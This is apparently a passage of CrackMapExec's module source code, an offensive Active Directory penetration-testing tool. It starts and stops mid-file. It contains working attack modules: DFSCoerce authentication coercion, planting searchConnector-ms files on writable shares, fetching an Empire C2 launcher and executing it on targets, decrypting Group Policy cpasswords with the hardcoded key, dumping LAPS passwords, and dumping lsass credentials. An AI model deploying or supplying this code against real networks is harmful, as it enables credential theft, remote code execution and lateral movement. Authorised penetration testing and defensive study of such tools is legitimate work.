76 | context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn))
77 | else:
78 | context.log.error(
79 | "Node {} does not appear to be in Neo4J database. Have you imported correct data?".format(host_fqdn))
80 | driver.close()
--------------------------------------------------------------------------------
/cme/modules/dfscoerce.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from impacket import system_errors
3 | from impacket.dcerpc.v5 import transport
4 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
5 | from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
6 | from impacket.dcerpc.v5.rpcrt import DCERPCException
7 | from impacket.uuid import uuidtup_to_bin
8 |
9 | class CMEModule:
10 |
11 | name = 'dfscoerce'
12 | description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
13 | supported_protocols = ['smb']
14 | opsec_safe = True
15 | multiple_hosts = True
16 |
17 | def options(self, context, module_options):
18 | self.listener = "127.0.0.1"
19 | if 'LISTENER' in module_options:
20 | self.listener = module_options['LISTENER']
21 |
22 | def on_login(self, context, connection):
23 | trigger = TriggerAuth()
24 | dce = trigger.connect(username=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host)
25 |
26 | if dce is not None:
27 | logging.debug("Target is vulnerable to DFSCoerce")
28 | trigger.NetrDfsRemoveStdRoot(dce, self.listener)
29 | context.log.highlight("VULNERABLE")
30 | context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
31 | dce.disconnect()
32 |
33 | else:
34 | logging.debug("Target is not vulnerable to DFSCoerce")
35 |
36 | class DCERPCSessionError(DCERPCException):
37 | def __init__(self, error_string=None, error_code=None, packet=None):
38 | DCERPCException.__init__(self, error_string, error_code, packet)
39 |
40 | def __str__(self):
41 | key = self.error_code
42 | if key in system_errors.ERROR_MESSAGES:
43 | error_msg_short = system_errors.ERROR_MESSAGES[key][0]
44 | error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
45 | return 'DFSNM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
46 | else:
47 | return 'DFSNM SessionError: unknown error code: 0x%x' % self.error_code
48 |
49 | ################################################################################
50 | # RPC CALLS
51 | ################################################################################
52 | class NetrDfsRemoveStdRoot(NDRCALL):
53 | opnum = 13
54 | structure = (
55 | ('ServerName', WSTR),
56 | ('RootShare', WSTR),
57 | ('ApiFlags', DWORD),
58 | )
59 |
60 | class NetrDfsRemoveStdRootResponse(NDRCALL):
61 | structure = (
62 | ('ErrorCode', ULONG),
63 | )
64 | class NetrDfsAddRoot(NDRCALL):
65 | opnum = 12
66 | structure = (
67 | ('ServerName',WSTR),
68 | ('RootShare',WSTR),
69 | ('Comment',WSTR),
70 | ('ApiFlags',DWORD),
71 | )
72 | class NetrDfsAddRootResponse(NDRCALL):
73 | structure = (
74 | ('ErrorCode', ULONG),
75 | )
76 |
77 | class TriggerAuth():
78 | def connect(self, username, password, domain, lmhash, nthash, target):
79 | rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netdfs]' % target)
80 | if hasattr(rpctransport, 'set_credentials'):
81 | rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
82 |
83 | #if doKerberos:
84 | # rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
85 | #if target:
86 | # rpctransport.setRemoteHost(target)
87 |
88 | rpctransport.setRemoteHost(target)
89 | dce = rpctransport.get_dce_rpc()
90 | logging.debug("[-] Connecting to %s" % r'ncacn_np:%s[\PIPE\netdfs]' % target)
91 | try:
92 | dce.connect()
93 | except Exception as e:
94 | logging.debug("Something went wrong, check error status => %s" % str(e))
95 | return
96 | try:
97 | dce.bind(uuidtup_to_bin(('4FC742E0-4A10-11CF-8273-00AA004AE673', '3.0')))
98 | except Exception as e:
99 | logging.debug("Something went wrong, check error status => %s" % str(e))
100 | return
101 | logging.debug("[+] Successfully bound!")
102 | return dce
103 |
104 | def NetrDfsRemoveStdRoot(self, dce, listener):
105 | logging.debug("[-] Sending NetrDfsRemoveStdRoot!")
106 | try:
107 | request = NetrDfsRemoveStdRoot()
108 | request['ServerName'] = '%s\x00' % listener
109 | request['RootShare'] = 'test\x00'
110 | request['ApiFlags'] = 1
111 | if self.args.verbose:
112 | logging.debug(request.dump())
113 | #logging.debug(request.dump())
114 | resp = dce.request(request)
115 |
116 | except Exception as e:
117 | logging.debug(e)
--------------------------------------------------------------------------------
/cme/modules/drop_searchConnector-ms.py:
--------------------------------------------------------------------------------
1 | import ntpath
2 |
3 | class CMEModule:
4 | '''
5 | Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
6 | https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
7 | Module by @zblurx
8 | '''
9 |
10 | name = 'drop-sc'
11 | description = 'Drop a searchConnector-ms file on each writable share'
12 | supported_protocols = ["smb"]
13 | opsec_safe= False
14 | multiple_hosts = True
15 |
16 | def options(self, context, module_options):
17 | '''
18 | Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
19 | https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
20 | Module by @zblurx
21 | URL URL in the searchConnector-ms file, default https://rickroll
22 | CLEANUP Cleanup (choices: True or False)
23 | SHARE Specify a share to target
24 | FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents"
25 | '''
26 | self.cleanup = False
27 | if 'CLEANUP' in module_options:
28 | self.cleanup = bool(module_options['CLEANUP'])
29 |
30 | self.url = 'https://rickroll'
31 | if 'URL' in module_options:
32 | self.url = str(module_options['URL'])
33 |
34 | self.sharename = ''
35 | if 'SHARE' in module_options:
36 | self.sharename = str(module_options['SHARE'])
37 |
38 | self.filename = 'Documents'
39 | if 'FILENAME' in module_options:
40 | self.filename = str(module_options['FILENAME'])
41 |
42 | self.file_path = ntpath.join('\\', '{}.searchConnector-ms'.format(self.filename))
43 | if not self.cleanup:
44 | self.scfile_path = '/tmp/{}.searchConnector-ms'.format(self.filename)
45 | scfile = open(self.scfile_path, 'w')
46 | scfile.truncate(0)
47 | scfile.write('')
48 | scfile.write('')
49 | scfile.write('Microsoft Outlook')
50 | scfile.write('false')
51 | scfile.write('true')
52 | scfile.write('{}/0001.ico'.format(self.url))
53 | scfile.write('')
54 | scfile.write('{91475FE5-586B-4EBA-8D75-D17434B8CDF6}')
55 | scfile.write('')
56 | scfile.write('')
57 | scfile.write('{}'.format(self.url))
58 | scfile.write('')
59 | scfile.write('')
60 | scfile.close()
61 |
62 | def on_login(self, context, connection):
63 | shares = connection.shares()
64 | for share in shares:
65 | if 'WRITE' in share['access'] and (share['name'] == self.sharename if self.sharename != '' else share['name'] not in ['C$','ADMIN$']):
66 | context.log.success('Found writable share: {}'.format(share['name']))
67 | if not self.cleanup:
68 | with open(self.scfile_path, 'rb') as scfile:
69 | try:
70 | connection.conn.putFile(share['name'], self.file_path, scfile.read)
71 | context.log.success('Created {}.searchConnector-ms file on the {} share'.format(self.filename, share['name']))
72 | except Exception as e:
73 | context.log.error('Error writing {}.searchConnector-ms file on the {} share: {}'.format(self.filename, share['name'], e))
74 | else:
75 | try:
76 | connection.conn.deleteFile(share['name'], self.file_path)
77 | context.log.success('Deleted {}.searchConnector-ms file on the {} share'.format(self.filename, share['name']))
78 | except Exception as e:
79 | context.log.error('Error deleting {}.searchConnector-ms file on share {}: {}'.format(self.filename, share['name'], e))
80 |
81 |
--------------------------------------------------------------------------------
/cme/modules/empire_exec.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import requests
3 | from requests import ConnectionError
4 |
5 | #The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
6 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
8 |
9 | class CMEModule:
10 | '''
11 | Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
12 | Module by @byt3bl33d3r
13 | '''
14 |
15 | name='empire_exec'
16 | description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
17 | supported_protocols = ['smb', 'mssql']
18 | opsec_safe = True
19 | multiple_hosts = True
20 |
21 | def options(self, context, module_options):
22 | '''
23 | LISTENER Listener name to generate the launcher for
24 | '''
25 |
26 | if not 'LISTENER' in module_options:
27 | context.log.error('LISTENER option is required!')
28 | sys.exit(1)
29 |
30 | self.empire_launcher = None
31 |
32 | headers = {'Content-Type': 'application/json'}
33 | #Pull the host and port from the config file
34 | base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port'))
35 |
36 | try:
37 | #Pull the username and password from the config file
38 | payload = {'username': context.conf.get('Empire', 'username'),
39 | 'password': context.conf.get('Empire', 'password')}
40 |
41 | r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
42 | if r.status_code == 200:
43 | token = r.json()['token']
44 | else:
45 | context.log.error("Error authenticating to Empire's RESTful API server!")
46 | sys.exit(1)
47 |
48 | payload = {'StagerName': 'multi/launcher', 'Listener': module_options['LISTENER']}
49 | r = requests.post(base_url + '/api/stagers?token={}'.format(token), json=payload, headers=headers, verify=False)
50 |
51 | response = r.json()
52 | if "error" in response:
53 | context.log.error("Error from empire : {}".format(response["error"]))
54 | sys.exit(1)
55 |
56 | self.empire_launcher = response['multi/launcher']['Output']
57 |
58 | context.log.success("Successfully generated launcher for listener '{}'".format(module_options['LISTENER']))
59 |
60 | except ConnectionError as e:
61 | context.log.error("Unable to connect to Empire's RESTful API: {}".format(e))
62 | sys.exit(1)
63 |
64 | def on_admin_login(self, context, connection):
65 | if self.empire_launcher:
66 | connection.execute(self.empire_launcher)
67 | context.log.success('Executed Empire Launcher')
68 |
--------------------------------------------------------------------------------
/cme/modules/enum_avproducts.py:
--------------------------------------------------------------------------------
1 | class CMEModule:
2 | '''
3 | Uses WMI to gather information on all endpoint protection solutions installed on the the remote host(s)
4 | Module by @byt3bl33d3r
5 |
6 | '''
7 |
8 | name = 'enum_avproducts'
9 | description = 'Gathers information on all endpoint protection solutions installed on the the remote host(s) via WMI'
10 | supported_protocols = ['smb']
11 | opsec_safe= True
12 | multiple_hosts = True
13 |
14 | def options(self, context, module_options):
15 | pass
16 |
17 | def on_admin_login(self, context, connection):
18 | output = connection.wmi('Select * From AntiSpywareProduct', 'root\\SecurityCenter2')
19 | if output:
20 | context.log.success('Found Anti-Spyware product:')
21 | for entry in output:
22 | for k,v in entry.items():
23 | context.log.highlight('{} => {}'.format(k,v['value']))
24 |
25 | output = connection.wmi('Select * from AntiVirusProduct', 'root\\SecurityCenter2')
26 | if output:
27 | context.log.success('Found Anti-Virus product:')
28 | for entry in output:
29 | for k,v in entry.items():
30 | context.log.highlight('{} => {}'.format(k,v['value']))
--------------------------------------------------------------------------------
/cme/modules/enum_dns.py:
--------------------------------------------------------------------------------
1 | from datetime import datetime
2 | from cme.helpers.logger import write_log
3 |
4 | class CMEModule:
5 | '''
6 | Uses WMI to dump DNS from an AD DNS Server.
7 | Module by @fang0654
8 |
9 | '''
10 |
11 | name = 'enum_dns'
12 | description = 'Uses WMI to dump DNS from an AD DNS Server'
13 | supported_protocols = ['smb']
14 | opsec_safe= True
15 | multiple_hosts = True
16 |
17 | def options(self, context, module_options):
18 | '''
19 | DOMAIN Domain to enumerate DNS for. Defaults to all zones.
20 | '''
21 | self.domains = None
22 | if module_options and 'DOMAIN' in module_options:
23 | self.domains = module_options['DOMAIN']
24 |
25 | def on_admin_login(self, context, connection):
26 |
27 | if not self.domains:
28 | domains = []
29 | output = connection.wmi('Select Name FROM MicrosoftDNS_Zone', 'root\\microsoftdns')
30 |
31 | if output:
32 | for result in output:
33 | domains.append(result['Name']['value'])
34 |
35 | context.log.success('Domains retrieved: {}'.format(domains))
36 | else:
37 | domains = [self.domains]
38 | data = ""
39 | for domain in domains:
40 | output = connection.wmi('Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = "{}"'.format(domain), 'root\\microsoftdns')
41 |
42 | if output:
43 | domain_data = {}
44 | context.log.highlight("Results for {}".format(domain))
45 | data += "Results for {}\n".format(domain)
46 | for entry in output:
47 | text = entry['TextRepresentation']['value']
48 | rname = text.split(' ')[0]
49 | rtype = text.split(' ')[2]
50 | rvalue = ' '.join(text.split(' ')[3:])
51 | if domain_data.get(rtype, False):
52 | domain_data[rtype].append("{}: {}".format(rname, rvalue))
53 | else:
54 | domain_data[rtype] = ["{}: {}".format(rname, rvalue)]
55 |
56 | for k, v in sorted(domain_data.items()):
57 | context.log.highlight("Record Type: {}".format(k))
58 | data += "Record Type: {}\n".format(k)
59 | for d in sorted(v):
60 | context.log.highlight("\t"+d)
61 | data += "\t" + d + "\n"
62 |
63 | log_name = 'DNS-Enum-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
64 | write_log(data, log_name)
65 | context.log.info("Saved raw output to {}".format(log_name))
66 |
67 |
--------------------------------------------------------------------------------
/cme/modules/example_module.py:
--------------------------------------------------------------------------------
1 | class CMEModule:
2 | '''
3 | Example
4 | Module by @yomama
5 |
6 | '''
7 | name = 'example module'
8 | description = 'I do something'
9 | supported_protocols = []
10 | opsec_safe= True #Does the module touch disk?
11 | multiple_hosts = True #Does it make sense to run this module on multiple hosts at a time?
12 |
13 | def options(self, context, module_options):
14 | '''Required. Module options get parsed here. Additionally, put the modules usage here as well'''
15 | pass
16 |
17 | def on_login(self, context, connection):
18 | '''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
19 | pass
20 |
21 | def on_admin_login(self, context, connection):
22 | '''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges'''
23 | pass
24 |
25 | def on_request(self, context, request):
26 | '''Optional. If the payload needs to retrieve additonal files, add this function to the module'''
27 | pass
28 |
29 | def on_response(self, context, response):
30 | '''Optional. If the payload sends back its output to our server, add this function to the module to handle its output'''
31 | pass
32 |
33 | def on_shutdown(self, context, connection):
34 | '''Optional. Do something on shutdown'''
35 | pass
36 |
--------------------------------------------------------------------------------
/cme/modules/get_description.py:
--------------------------------------------------------------------------------
1 | from impacket.ldap import ldapasn1 as ldapasn1_impacket
2 | from impacket.ldap import ldap as ldap_impacket
3 | import re
4 |
5 | class CMEModule:
6 | '''
7 | Get description of users
8 | Module by @nodauf
9 | '''
10 | name = 'get-desc-users'
11 | description = 'Get description of the users. May contained password'
12 | supported_protocols = ['ldap']
13 | opsec_safe= True #Does the module touch disk?
14 | multiple_hosts = True #Does it make sense to run this module on multiple hosts at a time?
15 |
16 | def options(self, context, module_options):
17 | '''
18 | FILTER Apply the FILTER (grep-like) (default: '')
19 | PASSWORDPOLICY Is the windows password policy enabled ? (default: False)
20 | MINLENGTH Minimum password length to match, only used if PASSWORDPOLICY is True (default: 6)
21 | '''
22 | self.FILTER = ''
23 | self.MINLENGTH = '6'
24 | self.PASSWORDPOLICY = False
25 | if 'FILTER' in module_options:
26 | self.FILTER = module_options['FILTER']
27 | if 'MINLENGTH' in module_options:
28 | self.MINLENGTH = module_options['MINLENGTH']
29 | if 'PASSWORDPOLICY' in module_options:
30 | self.PASSWORDPOLICY = True
31 | self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{"+self.MINLENGTH+",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
32 |
33 | def on_login(self, context, connection):
34 | '''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
35 | # Building the search filter
36 | searchFilter = "(objectclass=user)"
37 |
38 | try:
39 | context.log.debug('Search Filter=%s' % searchFilter)
40 | resp = connection.ldapConnection.search(searchFilter=searchFilter,
41 | attributes=['sAMAccountName','description'],
42 | sizeLimit=0)
43 | except ldap_impacket.LDAPSearchError as e:
44 | if e.getErrorString().find('sizeLimitExceeded') >= 0:
45 | context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
46 | # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
47 | # paged queries
48 | resp = e.getAnswers()
49 | pass
50 | else:
51 | logging.debug(e)
52 | return False
53 |
54 | answers = []
55 | context.log.debug('Total of records returned %d' % len(resp))
56 | for item in resp:
57 | if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
58 | continue
59 | sAMAccountName = ''
60 | description = ''
61 | try:
62 | for attribute in item['attributes']:
63 | if str(attribute['type']) == 'sAMAccountName':
64 | sAMAccountName = str(attribute['vals'][0])
65 | elif str(attribute['type']) == 'description':
66 | description = attribute['vals'][0]
67 | if sAMAccountName != '' and description != '':
68 | answers.append([sAMAccountName,description])
69 | except Exception as e:
70 | context.log.debug("Exception:", exc_info=True)
71 | context.log.debug('Skipping item, cannot process due to error %s' % str(e))
72 | pass
73 | answers = self.filter_answer(context, answers)
74 | if len(answers) > 0:
75 | context.log.success('Found following users: ')
76 | for answer in answers:
77 | context.log.highlight(u'User: {} description: {}'.format(answer[0],answer[1]))
78 |
79 | def filter_answer(self, context, answers):
80 | # No option to filter
81 | if self.FILTER == '' and not self.PASSWORDPOLICY:
82 | context.log.debug("No filter option enabled")
83 | return answers
84 | answersFiltered = []
85 | context.log.debug("Prepare to filter")
86 | if len(answers) > 0:
87 | for answer in answers:
88 | conditionFilter = False
89 | description = str(answer[1])
90 | # Filter
91 | if self.FILTER != '':
92 | conditionFilter = False
93 | if self.FILTER in description:
94 | conditionFilter = True
95 |
96 | # Password policy
97 | if self.PASSWORDPOLICY:
98 | conditionPasswordPolicy = False
99 | if self.regex.search(description):
100 | conditionPasswordPolicy = True
101 |
102 | if (self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy):
103 | answersFiltered.append([answer[0],description])
104 | elif not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy:
105 | answersFiltered.append([answer[0],description])
106 | elif not self.PASSWORDPOLICY and self.FILTER and conditionFilter:
107 | answersFiltered.append([answer[0],description])
108 | return answersFiltered
109 |
--------------------------------------------------------------------------------
/cme/modules/get_netconnections.py:
--------------------------------------------------------------------------------
1 | from datetime import datetime
2 | from cme.helpers.logger import write_log
3 | import json
4 |
5 | class CMEModule:
6 | '''
7 | Uses WMI to extract network connections, used to find multi-homed hosts.
8 | Module by @fang0654
9 |
10 | '''
11 |
12 | name = 'get_netconnections'
13 | description = 'Uses WMI to query network connections.'
14 | supported_protocols = ['smb']
15 | opsec_safe= True
16 | multiple_hosts = True
17 |
18 | def options(self, context, module_options):
19 | '''
20 | No options
21 | '''
22 | pass
23 |
24 | def on_admin_login(self, context, connection):
25 |
26 | data = []
27 | cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
28 | for c in cards:
29 | if c['IPAddress'].get('value'):
30 | context.log.success(f"IP Address: {c['IPAddress']['value']}\tSearch Domain: {c['DNSDomainSuffixSearchOrder']['value']}")
31 |
32 | data.append(cards)
33 |
34 | log_name = 'network-connections-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
35 | write_log(json.dumps(data), log_name)
36 | context.log.info("Saved raw output to {}".format(log_name))
37 |
38 |
--------------------------------------------------------------------------------
/cme/modules/gpp_autologin.py:
--------------------------------------------------------------------------------
1 | import xml.etree.ElementTree as ET
2 | from io import BytesIO
3 |
4 | class CMEModule:
5 | '''
6 | Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1
7 | Module by @byt3bl33d3r
8 | '''
9 |
10 | name = 'gpp_autologin'
11 | description = 'Searches the domain controller for registry.xml to find autologon information and returns the username and password.'
12 | supported_protocols = ['smb']
13 | opsec_safe = True
14 | multiple_hosts = True
15 |
16 | def options(self, context, module_options):
17 | '''
18 | '''
19 |
20 | def on_login(self, context, connection):
21 | shares = connection.shares()
22 | for share in shares:
23 | if share['name'] == 'SYSVOL' and 'READ' in share['access']:
24 |
25 | context.log.success('Found SYSVOL share')
26 | context.log.info('Searching for Registry.xml')
27 |
28 | paths = connection.spider('SYSVOL', pattern=['Registry.xml'])
29 |
30 | for path in paths:
31 | context.log.info('Found {}'.format(path))
32 |
33 | buf = BytesIO()
34 | connection.conn.getFile('SYSVOL', path, buf.write)
35 | xml = ET.fromstring(buf.getvalue())
36 |
37 | if xml.findall('.//Properties[@name="DefaultPassword"]'):
38 | usernames = []
39 | passwords = []
40 | domains = []
41 |
42 | xml_section = xml.findall(".//Properties")
43 |
44 | for section in xml_section:
45 | attrs = section.attrib
46 |
47 | if attrs['name'] == 'DefaultPassword':
48 | passwords.append(attrs['value'])
49 |
50 | if attrs['name'] == 'DefaultUserName':
51 | usernames.append(attrs['value'])
52 |
53 | if attrs['name'] == 'DefaultDomainName':
54 | domains.append(attrs['value'])
55 |
56 | if usernames or passwords:
57 | context.log.success('Found credentials in {}'.format(path))
58 | context.log.highlight('Usernames: {}'.format(usernames))
59 | context.log.highlight('Domains: {}'.format(domains))
60 | context.log.highlight('Passwords: {}'.format(passwords))
--------------------------------------------------------------------------------
/cme/modules/gpp_password.py:
--------------------------------------------------------------------------------
1 | import xml.etree.ElementTree as ET
2 | from Cryptodome.Cipher import AES
3 | from base64 import b64decode
4 | from binascii import unhexlify
5 | from io import BytesIO
6 |
7 | class CMEModule:
8 | '''
9 | Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
10 | Module by @byt3bl33d3r
11 | '''
12 |
13 | name = 'gpp_password'
14 | description = 'Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.'
15 | supported_protocols = ['smb']
16 | opsec_safe = True
17 | multiple_hosts = True
18 |
19 | def options(self, context, module_options):
20 | '''
21 | '''
22 |
23 | def on_login(self, context, connection):
24 | shares = connection.shares()
25 | for share in shares:
26 | if share['name'] == 'SYSVOL' and 'READ' in share['access']:
27 |
28 | context.log.success('Found SYSVOL share')
29 | context.log.info('Searching for potential XML files containing passwords')
30 |
31 | paths = connection.spider('SYSVOL', pattern=['Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'])
32 |
33 | for path in paths:
34 | context.log.info('Found {}'.format(path))
35 |
36 | buf = BytesIO()
37 | connection.conn.getFile('SYSVOL', path, buf.write)
38 | xml = ET.fromstring(buf.getvalue())
39 | sections = []
40 |
41 | if 'Groups.xml' in path:
42 | sections.append('./User/Properties')
43 |
44 | elif 'Services.xml' in path:
45 | sections.append('./NTService/Properties')
46 |
47 | elif 'ScheduledTasks.xml' in path:
48 | sections.append('./Task/Properties')
49 | sections.append('./ImmediateTask/Properties')
50 | sections.append('./ImmediateTaskV2/Properties')
51 | sections.append('./TaskV2/Properties')
52 |
53 | elif 'DataSources.xml' in path:
54 | sections.append('./DataSource/Properties')
55 |
56 | elif 'Printers.xml' in path:
57 | sections.append('./SharedPrinter/Properties')
58 |
59 | elif 'Drives.xml' in path:
60 | sections.append('./Drive/Properties')
61 |
62 |
63 | for section in sections:
64 | xml_section = xml.findall(section)
65 | for attr in xml_section:
66 | props = attr.attrib
67 |
68 | if 'cpassword' in props:
69 | for user_tag in ['userName', 'accountName', 'runAs', 'username']:
70 | if user_tag in props:
71 | username = props[user_tag]
72 |
73 | password = self.decrypt_cpassword(props['cpassword'])
74 |
75 | context.log.success('Found credentials in {}'.format(path))
76 | context.log.highlight('Password: {}'.format(password))
77 | for k,v in props.items():
78 | if k != 'cpassword':
79 | context.log.highlight('{}: {}'.format(k, v))
80 |
81 | hostid = context.db.get_computers(connection.host)[0][0]
82 | context.db.add_credential('plaintext', '', username, password, pillaged_from=hostid)
83 |
84 | def decrypt_cpassword(self, cpassword):
85 |
86 | #Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
87 |
88 | # From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
89 | key = unhexlify('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')
90 | cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
91 | password = b64decode(cpassword)
92 | IV = "\x00" * 16
93 | decypted = AES.new(key, AES.MODE_CBC, IV.encode("utf8")).decrypt(password)
94 | return decypted.decode().rstrip()
95 |
--------------------------------------------------------------------------------
/cme/modules/laps.py:
--------------------------------------------------------------------------------
1 | from impacket.ldap import ldapasn1 as ldapasn1_impacket
2 |
3 |
4 | class CMEModule:
5 | '''
6 | Module by technobro refactored by @mpgn (now compatible with LDAP protocol + filter by computer)
7 |
8 | Initial module:
9 | @T3KX: https://github.com/T3KX/Crackmapexec-LAPS
10 |
11 | Credit: @n00py1
12 | Reference: https://www.n00py.io/2020/12/dumping-laps-passwords-from-linux/
13 | https://github.com/n00py/LAPSDumper
14 | '''
15 |
16 | name = 'laps'
17 | description = 'Retrieves the LAPS passwords'
18 | supported_protocols = ['ldap']
19 | opsec_safe = True
20 | multiple_hosts = False
21 |
22 | def options(self, context, module_options):
23 | """
24 | COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *
25 | """
26 |
27 | self.computer = None
28 | if 'COMPUTER' in module_options:
29 | self.computer = module_options['COMPUTER']
30 |
31 | def on_login(self, context, connection):
32 | context.log.info('Getting LAPS Passwords')
33 | if self.computer is not None:
34 | searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name=' + self.computer + '))'
35 | else:
36 | searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*))'
37 | attributes = ['ms-MCS-AdmPwd', 'sAMAccountName']
38 | results = connection.search(searchFilter, attributes, 10000)
39 | results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
40 |
41 | laps_computers = []
42 | for computer in results:
43 | msMCSAdmPwd = ''
44 | sAMAccountName = ''
45 | values = {str(attr['type']).lower(): str(attr['vals'][0]) for attr in computer['attributes']}
46 | laps_computers.append((values['samaccountname'], values['ms-mcs-admpwd']))
47 |
48 | laps_computers = sorted(laps_computers, key=lambda x: x[0])
49 | for sAMAccountName, msMCSAdmPwd in laps_computers:
50 | context.log.highlight("Computer: {:<20} Password: {}".format(sAMAccountName, msMCSAdmPwd))
51 |
--------------------------------------------------------------------------------
/cme/modules/ldap-signing.py:
--------------------------------------------------------------------------------
1 | from impacket.ldap import ldap
2 |
3 | class CMEModule:
4 | '''
5 | Checks whether LDAP signing is required.
6 |
7 | Module by Tobias Neitzel (@qtc_de)
8 | '''
9 | name = 'ldap-signing'
10 | description = 'Check whether LDAP signing is required'
11 | supported_protocols = ['ldap']
12 | opsec_safe= True
13 | multiple_hosts = True
14 |
15 | def options(self, context, module_options):
16 | '''
17 | No options available.
18 | '''
19 | pass
20 |
21 | def on_login(self, context, connection):
22 | '''
23 | Perform a second logon attempt without LDAP signing.
24 | '''
25 | domain = connection.domain
26 | username = connection.username
27 | password = connection.password
28 | ldap_host = connection.conn.getRemoteHost()
29 |
30 | try:
31 | connection = ldap.LDAPConnection('ldap://{}'.format(ldap_host))
32 | connection.login(username, password, domain, '', '')
33 | context.log.highlight('LDAP signing is NOT enforced on {}'.format(ldap_host))
34 |
35 | except ldap.LDAPSessionError as e:
36 |
37 | error_msg = str(e)
38 |
39 | if 'strongerAuthRequired' in error_msg:
40 | context.log.info('LDAP signing is enforced on {}'.format(ldap_host))
41 |
42 | else:
43 | context.log.error("Unexpected LDAP error: '{}'".format(error_msg))
44 |
45 | except Exception as e:
46 | context.log.error("Unexpected LDAP error: '{}'".format(str(e)))
47 |
--------------------------------------------------------------------------------
/cme/modules/lsassy_dump.py:
--------------------------------------------------------------------------------
1 | # Author:
2 | # Romain Bentz (pixis - @hackanddo)
3 | # Website:
4 | # https://beta.hackndo.com [FR]
5 | # https://en.hackndo.com [EN]
6 |
7 |
8 | from lsassy import logger
9 | from lsassy.dumper import Dumper
10 | from lsassy.parser import Parser
11 | from lsassy.session import Session
12 | from lsassy.impacketfile import ImpacketFile
13 | from cme.helpers.bloodhound import add_user_bh
14 |
15 | class CMEModule:
16 | name = 'lsassy'
17 | description = "Dump lsass and parse the result remotely with lsassy"
18 | supported_protocols = ['smb']
19 | opsec_safe = True
20 | multiple_hosts = True
21 |
22 | def options(self, context, module_options):
23 | """
24 | METHOD Method to use to dump lsass.exe with lsassy
25 | """
26 | self.method = 'comsvcs'
27 | if 'METHOD' in module_options:
28 | self.method = module_options['METHOD']
29 |
30 | def on_admin_login(self, context, connection):
31 | logger.init(quiet=True)
32 | host = connection.host
33 | domain_name = connection.domain
34 | username = connection.username
35 | password = getattr(connection, "password", "")
36 | lmhash = getattr(connection, "lmhash", "")
37 | nthash = getattr(connection, "nthash", "")
38 |
39 | session = Session()
40 | session.get_session(
41 | address=host,
42 | target_ip=host,
43 | port=445,
44 | lmhash=lmhash,
45 | nthash=nthash,
46 | username=username,
47 | password=password,
48 | domain=domain_name
49 | )
50 |
51 | if session.smb_session is None:
52 | context.log.error("Couldn't connect to remote host")
53 | return False
54 |
55 | dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
56 | if dumper is None:
57 | context.log.error("Unable to load dump method '{}'".format(self.method))
58 | return False
59 |
60 | file = dumper.dump()
61 | if file is None:
62 | context.log.error("Unable to dump lsass")
63 | return False
64 |
65 | parsed = Parser(file).parse()
66 | if parsed is None:
